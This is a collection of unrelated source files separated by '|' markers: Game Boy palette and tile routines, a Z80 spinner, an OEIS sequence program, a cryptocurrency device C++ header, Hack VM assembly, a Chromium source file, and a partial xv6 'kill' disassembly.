pop de;xy
pop hl;wh
push hl
push de
ld a, 32-20
cp d
jp nc, .bottomLeft
ld d, h;x = left width
ld a, 20
sub a, h
ld h, a; right width
.upperRight
push hl;wh
push de;xy
ld d, 0
ld bc, bkg_buffer
call gbdk_GetBkgTiles
pop de;xy
pop hl;wh
push hl
push de
ld e, 0
ld bc, bkg_buffer
call gbdk_SetWinTiles
pop de;xy
pop hl;wh
ld a, 32-18
cp e
jr nc, .bottomLeft;skip bottom right
ld e, l;y = upper height
ld a, 18
sub a, l
ld l, a; bottom right height
.bottomRight
push hl;wh
push de;xy
ld de, 0
ld bc, bkg_buffer
call gbdk_GetBkgTiles
pop de;xy
pop hl;wh
push hl;wh
push de;xy
ld bc, bkg_buffer
call gbdk_SetWinTiles
pop de;xy
pop hl;wh
.bottomLeft
pop de;xy
pop hl;wh
ld a, 32-18
cp e
jr nc, .checkGBC;skip bottom
ld e, l;y = upper height
ld a, 18
sub a, l
ld l, a; bottom height
push hl;wh
push de;xy
ld e, 0
ld bc, bkg_buffer
call gbdk_GetBkgTiles
pop de;xy
pop hl;wh
push hl;wh
push de;xy
ld d, 0
ld bc, bkg_buffer
call gbdk_SetWinTiles
pop de;xy
pop hl;wh
.checkGBC
ld a, [sys_info]
and a, SYS_INFO_GBC
ret z
ld a, [rVBK]
bit 0, a
jr nz, .resetVRAMBank;if rVBK == 1, we've already set colors, so we're done
ld a, 1
ld [rVBK], a
jp CopyBkgToWin; otherwise, set rVBK to 1 and copy again
.resetVRAMBank
xor a
ld [rVBK], a
ret
CopyWinToBuffer::
ld hl, $1412;20,18
ld de, 0
ld bc, win_buffer
call gbdk_GetWinTiles
ld a, [sys_info]
and a, SYS_INFO_GBC
ret z
ld a, 2
ld [rSVBK], a
dec a
ld [rVBK], a
ld hl, $1412;20,18
ld de, 0
ld bc, win_buffer
call gbdk_GetWinTiles
xor a
ld [rSVBK], a
ld [rVBK], a
ret
CopyBufferToWin::
ld hl, $1412;20,18
ld de, 0
ld bc, win_buffer
call gbdk_SetWinTiles
ld a, [sys_info]
and a, SYS_INFO_GBC
ret z
ld a, 2
ld [rSVBK], a
dec a
ld [rVBK], a
ld hl, $1412;20,18
ld de, 0
ld bc, win_buffer
call gbdk_SetWinTiles
xor a
ld [rSVBK], a
ld [rVBK], a
ret
GetZeroPaddedNumber::;a = number, returns padded number in str_buffer, affects str_buffer, all registers
ld h, 0
ld l, a
ld de, name_buffer
call str_Number
ld hl, str_buffer
ld a, "0"
ld [hli], a
ld [hli], a
ld [hli], a
ld hl, name_buffer
call str_Length
ld a, 3
sub a, e
ld e, a
ld hl, str_buffer
add hl, de
ld d, h
ld e, l
ld hl, name_buffer
call str_Copy
ret
SignedRandom:: ;a = bitmask, returns signed random bytes in d and e
push af
call gbdk_Random
pop af
push af
and a, d
ld b, a
ld a, d
and %10000000
jr z, .skipD
ld a, b
xor a, $FF
add a, 1
ld b, a
.skipD
ld d, b
pop af
and a, e
ld b, a
ld a, e
and %10000000
jr z, .skipE
ld a, b
xor a, $FF
add a, 1
ld b, a
.skipE
ld e, b
ret
;----------------------------------------------------------------------
;
; SetPalettesIndirect - sets first 4 palettes by index
;
; works for both CGB and SGB
;
; input:
; hl = palettes in PAL_SET (SGB) fromat
;
;----------------------------------------------------------------------
SetPalettesIndirect::;hl = palettes in PAL_SET (SGB) fromat
.checkCGB
ld a, [sys_info]
and a, SYS_INFO_GBC
jr z, .checkSGB
.setPaletteCGB
push hl;palettes
inc hl;first palette index
ld a, BCPSF_AUTOINC
ld [rBCPS], a
ld [rOCPS], a
xor a
.loopPalettes
push af;pal id
ld a, [hli]
ld c, a
ld a, [hli]
ld b, a
pop af;pal id
push af;pal id
push hl;next palette label
push af;pal id
ld h, b
ld l, c;index
add hl, hl;hl*2
add hl, hl;hl*4
add hl, hl;hl*8
ld bc, DefaultPalettes
add hl, bc
pop af;pal id
call GBCSetPalette
pop hl;palette label
pop af
inc a
cp 4
jr nz, .loopPalettes
pop hl;palettes
.checkSGB
ld a, [sys_info]
and a, SYS_INFO_SGB
ret z
.setPalettesSGB
jp _sgb_PacketTransfer;no need to check sys info again
;----------------------------------------------------------------------
;
; SetPalettesDirect - sets 2 palettes
;
; works for both CGB and SGB
;
; input:
; a = SGB packet header
; bc = colorA
; de = colorB
;
;----------------------------------------------------------------------
SetPalettesDirect::;a = SGB packet header, bc = paletteA, de = paletteB
ld h, a;header
.checkCGB
ld a, [sys_info]
and a, SYS_INFO_GBC
jr z, .checkSGB
.setPaletteCGB
ld h, b
ld l, c
ld a, 2
call GBCSetPalette
ld h, d
ld l, e
ld a, 3
call GBCSetPalette
.checkSGB
ld a, [sys_info]
and a, SYS_INFO_SGB
ret z
.setPalettesSGB
ld a, h;header
jp sgb_SetPal
;TODO: SGB palette matching should be handled better than this
GBCSetPalette::;a = palette id, hl = colors
sla a
sla a
sla a
or a, BCPSF_AUTOINC
ld [rBCPS], a
ld [rOCPS], a
ld a, 8;4 colors, 2 bytes each
.loopColors
push af
LCD_WAIT_VRAM
ld a, [hli]
ldh [rBCPD], a
ldh [rOCPD], a
pop af
dec a
jr nz, .loopColors
ret
GBCSetBackgroundPalette::;a = palette id, hl = colors
sla a
sla a
sla a
or a, BCPSF_AUTOINC
ld [rBCPS], a
ld a, 8;4 colors, 2 bytes each
.loopColors
push af
LCD_WAIT_VRAM
ld a, [hli]
ldh [rBCPD], a
pop af
dec a
jr nz, .loopColors
ret
GBCSetSpritePalette::;a = palette id, hl = colors
sla a
sla a
sla a
or a, OCPSF_AUTOINC
ld [rOCPS], a
ld a, 8;4 colors, 2 bytes each
.loopColors
push af
LCD_WAIT_VRAM
ld a, [hli]
ldh [rOCPD], a
pop af
dec a
jr nz, .loopColors
ret
;----------------------------------------------------------------------
;
; SetColorBlocks - sets rectangles of color in screenspace
;
; works for both CGB and SGB
;
; input:
; b = draw flags
; hl = SGB ATTR_BLK
;
;----------------------------------------------------------------------
SetColorBlocks::
.checkCGB
ld a, [sys_info]
and a, SYS_INFO_GBC
jr z, .checkSGB
.setColorBlocksCGB
jp GBCSetColorBlocks
.checkSGB
ld a, [sys_info]
and a, SYS_INFO_SGB
ret z
.setColorBlocksSGB
jp _sgb_PacketTransfer
;assumes no window offset, only handles inside blocks
GBCSetColorBlocks::;b = draw flags, hl = SGB ATTR_BLK address
inc hl;skip SGB_PACKET
ld a, [hli];packet count
.loop
push af;packet count
push bc;draw flags
call GBCSetColorBlock
pop bc;draw flags
pop af;packet count
dec a
jr nz, .loop
ret
;TODO: handle outside and border cases
GBCSetColorBlock::;b = draw flags, hl = ATTR_BLK_PACKET address, returns address of next ATTR_BLK_PACKET if any
push bc;draw flags
ld a, [hli];bit 2 = outside block, bit 1 = on border, bit 0 = inisde block... not used here
ld a, [hli];(outside << 4) + (border << 2) + inside XXoobbii
and %00000011;toss outside and border palettes
ld b, a;palette in b
ld a, [hli];x
ld d, a;x
ld a, [hli];y
ld e, a;y
ld a, [hli];x+w-1
sub a, d;w-1
inc a;w
ld c, a;w
ld a, [hli];y+h-1
sub a, e;h-1
inc a;h
push hl;next ATTR_BLK_PACKET
ld h, c;w
ld l, a;h
push hl;wh
push de;xy
ld d, 0
ld e, c;w
call math_Multiply;hl = de * a = w * h, b untouched
ld a, b;palette
ld b, h
ld c, l
ld hl, tile_buffer
call mem_Set;fills tile buffer with palette from above
pop de;xy
pop hl;wh
pop bc;next ATTR_BLK_PACKET
pop af;draw flags
push bc;next ATTR_BLK_PACKET
ld bc, tile_buffer
call GBCSetPaletteMap
pop hl;next ATTR_BLK_PACKET
ret
GBCSetPaletteMap::;a = draw flags, hl = wh, de = xy, bc = firstTile
and a, DRAW_FLAGS_WIN
jr nz, GBCSetWinPaletteMap
;fall through to bkg pal map
GBCSetBkgPaletteMap::;hl = wh, de = xy, bc = firstTile
ld a, [sys_info]
and a, SYS_INFO_GBC
ret z
ld a, 1
ld [rVBK], a
call gbdk_SetBkgTiles
xor a
ld [rVBK], a
ret
GBCSetWinPaletteMap::;hl = wh, de = xy, bc = firstTile
ld a, [sys_info]
and a, SYS_INFO_GBC
ret z
ld a, 1
ld [rVBK], a
call gbdk_SetWinTiles
xor a
ld [rVBK], a
ret
CopyPalettesTo::;hl = dest
push hl;dest
ld bc, 8*2*4
add hl, bc
ld d, h
ld e, l;de = dest+8*2*4
pop hl;dest
xor a
ld c, 8*2*4;8 palettes * 2B / color * 4 colors / palette
.copyBkgPal
ldh [rBCPS], a;set bkg palette index
ldh [rOCPS], a;set obj palette index
inc a
push af;index
LCD_WAIT_VRAM
ldh a, [rBCPD];get bkg color
ld [hli], a;store in tile_buffer
ldh a, [rOCPD];get obj color
ld [de], a;store in tile_buffer
inc de
pop af;index
dec c
jr nz, .copyBkgPal
ret
CopyPalettesFrom::;hl = source
push hl;dest
ld bc, 8*2*4
add hl, bc
ld d, h
ld e, l;de = dest+8*2*4
pop hl;dest
ld a, BCPSF_AUTOINC
ldh [rBCPS], a
ldh [rOCPS], a
ld c, 8*2*4;8 palettes * 2B / color * 4 colors / palette
.loop
LCD_WAIT_VRAM
ld a, [hli]
ldh [rBCPD], a
ld a, [de]
ldh [rOCPD], a
inc de
dec c
jr nz, .loop
ret |
spinner:
defb "---ooOOoo"
spinnerEnd:
setSpinner:
ld a, l
ld (spinnerEnabled), a
or a ; cp 0
jr nz, skipBackspace
printBackspace:
ld a, (cursorOutput)
or a ; cp 0
jr z, skipBackspace
xor a ;ld a, 0
ld (cursorOutput), a
ld hl, 8 ; backspace
push hl
call fputc_cons
pop hl
skipBackspace:
ret
updateSpinner:
ld a, (spinnerEnabled)
or a ; cp 0
jr z, skipBackspace
ld a, (cursorOutput)
or a ; cp 0
jr z, skipBackspace2
ld hl, 8 ; backspace
push hl
call fputc_cons
pop hl
skipBackspace2:
ld hl, (currentWaitCursor)
ld de, spinnerEnd
xor a
sbc hl, de
add hl, de
jp nz, skipReset
ld hl, spinner
skipReset:
inc hl
ld (currentWaitCursor), hl
dec hl
ld l, (hl)
ld h, 0
push hl
call fputc_cons
pop hl
ld a, 1
ld (cursorOutput), a
ret
spinnerEnabled:
defb 1
cursorOutput:
defb 0
currentWaitCursor:
defw spinner
|
; A154383: Powers of 4 at even indices, two times powers of 4 at odd indices.
; 1,0,4,2,16,8,64,32,256,128,1024,512,4096,2048,16384,8192,65536,32768,262144,131072,1048576,524288,4194304,2097152,16777216,8388608,67108864,33554432,268435456,134217728,1073741824,536870912,4294967296,2147483648,17179869184,8589934592,68719476736,34359738368,274877906944,137438953472,1099511627776,549755813888,4398046511104,2199023255552,17592186044416,8796093022208,70368744177664,35184372088832,281474976710656,140737488355328,1125899906842624,562949953421312,4503599627370496,2251799813685248
mov $6,2
mov $7,$0
lpb $6
sub $6,1
add $0,$6
sub $0,1
mov $2,$0
mov $8,2
gcd $8,$0
mov $4,$8
lpb $2
mul $8,2
lpb $4
mov $3,1
sub $4,$4
lpe
sub $2,1
add $8,$3
lpe
mov $5,$6
lpb $5
mov $1,$8
sub $5,1
lpe
lpe
lpb $7
sub $1,$8
mov $7,0
lpe
div $1,2
|
// Copyright (c) 2017-2019, The MKEcoin Project
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are
// permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other
// materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
#pragma once
#include "device.hpp"
namespace hw {
namespace core {
void register_all(std::map<std::string, std::unique_ptr<device>> ®istry);
class device_default : public hw::device {
public:
device_default();
~device_default();
device_default(const device_default &device) = delete;
device_default& operator=(const device_default &device) = delete;
explicit operator bool() const override { return false; };
/* ======================================================================= */
/* SETUP/TEARDOWN */
/* ======================================================================= */
bool set_name(const std::string &name) override;
const std::string get_name() const override;
bool init(void) override;
bool release() override;
bool connect(void) override;
bool disconnect() override;
bool set_mode(device_mode mode) override;
device_type get_type() const override {return device_type::SOFTWARE;};
/* ======================================================================= */
/* LOCKER */
/* ======================================================================= */
void lock(void) override;
void unlock(void) override;
bool try_lock(void) override;
/* ======================================================================= */
/* WALLET & ADDRESS */
/* ======================================================================= */
bool get_public_address(cryptonote::account_public_address &pubkey) override;
bool get_secret_keys(crypto::secret_key &viewkey , crypto::secret_key &spendkey) override;
bool generate_chacha_key(const cryptonote::account_keys &keys, crypto::chacha_key &key, uint64_t kdf_rounds) override;
/* ======================================================================= */
/* SUB ADDRESS */
/* ======================================================================= */
bool derive_subaddress_public_key(const crypto::public_key &pub, const crypto::key_derivation &derivation, const std::size_t output_index, crypto::public_key &derived_pub) override;
crypto::public_key get_subaddress_spend_public_key(const cryptonote::account_keys& keys, const cryptonote::subaddress_index& index) override;
std::vector<crypto::public_key> get_subaddress_spend_public_keys(const cryptonote::account_keys &keys, uint32_t account, uint32_t begin, uint32_t end) override;
cryptonote::account_public_address get_subaddress(const cryptonote::account_keys& keys, const cryptonote::subaddress_index &index) override;
crypto::secret_key get_subaddress_secret_key(const crypto::secret_key &sec, const cryptonote::subaddress_index &index) override;
/* ======================================================================= */
/* DERIVATION & KEY */
/* ======================================================================= */
bool verify_keys(const crypto::secret_key &secret_key, const crypto::public_key &public_key) override;
bool scalarmultKey(rct::key & aP, const rct::key &P, const rct::key &a) override;
bool scalarmultBase(rct::key &aG, const rct::key &a) override;
bool sc_secret_add(crypto::secret_key &r, const crypto::secret_key &a, const crypto::secret_key &b) override;
crypto::secret_key generate_keys(crypto::public_key &pub, crypto::secret_key &sec, const crypto::secret_key& recovery_key = crypto::secret_key(), bool recover = false) override;
bool generate_key_derivation(const crypto::public_key &pub, const crypto::secret_key &sec, crypto::key_derivation &derivation) override;
bool conceal_derivation(crypto::key_derivation &derivation, const crypto::public_key &tx_pub_key, const std::vector<crypto::public_key> &additional_tx_pub_keys, const crypto::key_derivation &main_derivation, const std::vector<crypto::key_derivation> &additional_derivations) override;
bool derivation_to_scalar(const crypto::key_derivation &derivation, const size_t output_index, crypto::ec_scalar &res) override;
bool derive_secret_key(const crypto::key_derivation &derivation, const std::size_t output_index, const crypto::secret_key &sec, crypto::secret_key &derived_sec) override;
bool derive_public_key(const crypto::key_derivation &derivation, const std::size_t output_index, const crypto::public_key &pub, crypto::public_key &derived_pub) override;
bool secret_key_to_public_key(const crypto::secret_key &sec, crypto::public_key &pub) override;
bool generate_key_image(const crypto::public_key &pub, const crypto::secret_key &sec, crypto::key_image &image) override;
/* ======================================================================= */
/* TRANSACTION */
/* ======================================================================= */
void generate_tx_proof(const crypto::hash &prefix_hash,
const crypto::public_key &R, const crypto::public_key &A, const boost::optional<crypto::public_key> &B, const crypto::public_key &D, const crypto::secret_key &r,
crypto::signature &sig) override;
bool open_tx(crypto::secret_key &tx_key) override;
bool encrypt_payment_id(crypto::hash8 &payment_id, const crypto::public_key &public_key, const crypto::secret_key &secret_key) override;
rct::key genCommitmentMask(const rct::key &amount_key) override;
bool ecdhEncode(rct::ecdhTuple & unmasked, const rct::key & sharedSec, bool short_amount) override;
bool ecdhDecode(rct::ecdhTuple & masked, const rct::key & sharedSec, bool short_amount) override;
bool generate_output_ephemeral_keys(const size_t tx_version, const cryptonote::account_keys &sender_account_keys, const crypto::public_key &txkey_pub, const crypto::secret_key &tx_key,
const cryptonote::tx_destination_entry &dst_entr, const boost::optional<cryptonote::account_public_address> &change_addr, const size_t output_index,
const bool &need_additional_txkeys, const std::vector<crypto::secret_key> &additional_tx_keys,
std::vector<crypto::public_key> &additional_tx_public_keys,
std::vector<rct::key> &amount_keys,
crypto::public_key &out_eph_public_key) override;
bool mlsag_prehash(const std::string &blob, size_t inputs_size, size_t outputs_size, const rct::keyV &hashes, const rct::ctkeyV &outPk, rct::key &prehash) override;
bool mlsag_prepare(const rct::key &H, const rct::key &xx, rct::key &a, rct::key &aG, rct::key &aHP, rct::key &rvII) override;
bool mlsag_prepare(rct::key &a, rct::key &aG) override;
bool mlsag_hash(const rct::keyV &long_message, rct::key &c) override;
bool mlsag_sign(const rct::key &c, const rct::keyV &xx, const rct::keyV &alpha, const size_t rows, const size_t dsRows, rct::keyV &ss) override;
bool close_tx(void) override;
};
}
}
|
; float trunc(float x) __z88dk_fastcall
SECTION code_fp_math48
PUBLIC cm48_sdcciy_trunc_fastcall
EXTERN cm48_sdcciyp_dx2m48, am48_trunc, cm48_sdcciyp_m482d
cm48_sdcciy_trunc_fastcall:
call cm48_sdcciyp_dx2m48
call am48_trunc
jp cm48_sdcciyp_m482d
|
@256
D=A
@SP
M=D
@3030
D=A
@SP
A=M
M=D
@SP
M=M+1
@0
D=A
@R3
A=A+D
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
@3040
D=A
@SP
A=M
M=D
@SP
M=M+1
@1
D=A
@R3
A=A+D
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
@32
D=A
@SP
A=M
M=D
@SP
M=M+1
@2
D=A
@THIS
A=M
A=A+D
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
@46
D=A
@SP
A=M
M=D
@SP
M=M+1
@6
D=A
@THAT
A=M
A=A+D
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
@0
D=A
@R3
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
@1
D=A
@R3
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
A=M
D=M
@SP
A=M
A=A-1
M=D+M
@2
D=A
@THIS
A=M
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
A=M
D=M
@SP
A=M
A=A-1
M=M-D
@6
D=A
@THAT
A=M
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
A=M
D=M
@SP
A=M
A=A-1
M=D+M
|
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "services/resource_coordinator/public/cpp/system_resource_coordinator.h"
namespace resource_coordinator {
SystemResourceCoordinator::SystemResourceCoordinator(
service_manager::Connector* connector)
: ResourceCoordinatorInterface() {
CoordinationUnitID new_cu_id(CoordinationUnitType::kSystem, std::string());
ResourceCoordinatorInterface::ConnectToService(connector, new_cu_id);
}
SystemResourceCoordinator::~SystemResourceCoordinator() = default;
void SystemResourceCoordinator::DistributeMeasurementBatch(
mojom::ProcessResourceMeasurementBatchPtr batch) {
if (!service_)
return;
service_->DistributeMeasurementBatch(std::move(batch));
}
void SystemResourceCoordinator::ConnectToService(
mojom::CoordinationUnitProviderPtr& provider,
const CoordinationUnitID& cu_id) {
provider->GetSystemCoordinationUnit(mojo::MakeRequest(&service_));
}
} // namespace resource_coordinator
|
_kill： 檔案格式 elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: bb 01 00 00 00 mov $0x1,%ebx
16: 83 ec 08 sub $0x8,%esp
19: 8b 31 mov (%ecx),%esi
1b: 8b 79 04 mov 0x4(%ecx),%edi
int i;
if(argc < 2){
1e: 83 fe 01 cmp $0x1,%esi
21: 7e 27 jle 4a <main+0x4a>
23: 90 nop
24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
kill(atoi(argv[i]));
28: 83 ec 0c sub $0xc,%esp
2b: ff 34 9f pushl (%edi,%ebx,4)
if(argc < 2){
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
2e: 83 c3 01 add $0x1,%ebx
kill(atoi(argv[i]));
31: e8 fa 01 00 00 call 230 <atoi>
36: 89 04 24 mov %eax,(%esp)
39: e8 94 02 00 00 call 2d2 <kill>
if(argc < 2){
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
3e: 83 c4 10 add $0x10,%esp
41: 39 de cmp %ebx,%esi
43: 75 e3 jne 28 <main+0x28>
kill(atoi(argv[i]));
exit();
45: e8 58 02 00 00 call 2a2 <exit>
main(int argc, char **argv)
{
int i;
if(argc < 2){
printf(2, "usage: kill pid...\n");
4a: 50 push %eax
4b: 50 push %eax
4c: 68 10 07 00 00 push $0x710
51: 6a 02 push $0x2
53: e8 98 03 00 00 call 3f0 <printf>
exit();
58: e8 45 02 00 00 call 2a2 <exit>
5d: 66 90 xchg %ax,%ax
5f: 90 nop
00000060 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 45 08 mov 0x8(%ebp),%eax
67: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
6a: 89 c2 mov %eax,%edx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
70: 83 c1 01 add $0x1,%ecx
73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
77: 83 c2 01 add $0x1,%edx
7a: 84 db test %bl,%bl
7c: 88 5a ff mov %bl,-0x1(%edx)
7f: 75 ef jne 70 <strcpy+0x10>
;
return os;
}
81: 5b pop %ebx
82: 5d pop %ebp
83: c3 ret
84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000090 <strcmp>:
int
strcmp(const char *p, const char *q)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 56 push %esi
94: 53 push %ebx
95: 8b 55 08 mov 0x8(%ebp),%edx
98: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
9b: 0f b6 02 movzbl (%edx),%eax
9e: 0f b6 19 movzbl (%ecx),%ebx
a1: 84 c0 test %al,%al
a3: 75 1e jne c3 <strcmp+0x33>
a5: eb 29 jmp d0 <strcmp+0x40>
a7: 89 f6 mov %esi,%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
b0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
b3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
b6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
b9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
bd: 84 c0 test %al,%al
bf: 74 0f je d0 <strcmp+0x40>
c1: 89 f1 mov %esi,%ecx
c3: 38 d8 cmp %bl,%al
c5: 74 e9 je b0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
c7: 29 d8 sub %ebx,%eax
}
c9: 5b pop %ebx
ca: 5e pop %esi
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
d0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
d2: 29 d8 sub %ebx,%eax
}
d4: 5b pop %ebx
d5: 5e pop %esi
d6: 5d pop %ebp
d7: c3 ret
d8: 90 nop
d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000000e0 <strlen>:
uint
strlen(const char *s)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
e6: 80 39 00 cmpb $0x0,(%ecx)
e9: 74 12 je fd <strlen+0x1d>
eb: 31 d2 xor %edx,%edx
ed: 8d 76 00 lea 0x0(%esi),%esi
f0: 83 c2 01 add $0x1,%edx
f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
f7: 89 d0 mov %edx,%eax
f9: 75 f5 jne f0 <strlen+0x10>
;
return n;
}
fb: 5d pop %ebp
fc: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
fd: 31 c0 xor %eax,%eax
;
return n;
}
ff: 5d pop %ebp
100: c3 ret
101: eb 0d jmp 110 <memset>
103: 90 nop
104: 90 nop
105: 90 nop
106: 90 nop
107: 90 nop
108: 90 nop
109: 90 nop
10a: 90 nop
10b: 90 nop
10c: 90 nop
10d: 90 nop
10e: 90 nop
10f: 90 nop
00000110 <memset>:
void*
memset(void *dst, int c, uint n)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
117: 8b 4d 10 mov 0x10(%ebp),%ecx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: 5d pop %ebp
126: c3 ret
127: 89 f6 mov %esi,%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
char*
strchr(const char *s, char c)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 53 push %ebx
134: 8b 45 08 mov 0x8(%ebp),%eax
137: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
13a: 0f b6 10 movzbl (%eax),%edx
13d: 84 d2 test %dl,%dl
13f: 74 1d je 15e <strchr+0x2e>
if(*s == c)
141: 38 d3 cmp %dl,%bl
143: 89 d9 mov %ebx,%ecx
145: 75 0d jne 154 <strchr+0x24>
147: eb 17 jmp 160 <strchr+0x30>
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
15e: 31 c0 xor %eax,%eax
}
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
char*
gets(char *buf, int max)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 57 push %edi
174: 56 push %esi
175: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
176: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
178: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
17b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
17e: eb 29 jmp 1a9 <gets+0x39>
cc = read(0, &c, 1);
180: 83 ec 04 sub $0x4,%esp
183: 6a 01 push $0x1
185: 57 push %edi
186: 6a 00 push $0x0
188: e8 2d 01 00 00 call 2ba <read>
if(cc < 1)
18d: 83 c4 10 add $0x10,%esp
190: 85 c0 test %eax,%eax
192: 7e 1d jle 1b1 <gets+0x41>
break;
buf[i++] = c;
194: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
198: 8b 55 08 mov 0x8(%ebp),%edx
19b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
19d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
19f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
1a3: 74 1b je 1c0 <gets+0x50>
1a5: 3c 0d cmp $0xd,%al
1a7: 74 17 je 1c0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1a9: 8d 5e 01 lea 0x1(%esi),%ebx
1ac: 3b 5d 0c cmp 0xc(%ebp),%ebx
1af: 7c cf jl 180 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1b1: 8b 45 08 mov 0x8(%ebp),%eax
1b4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
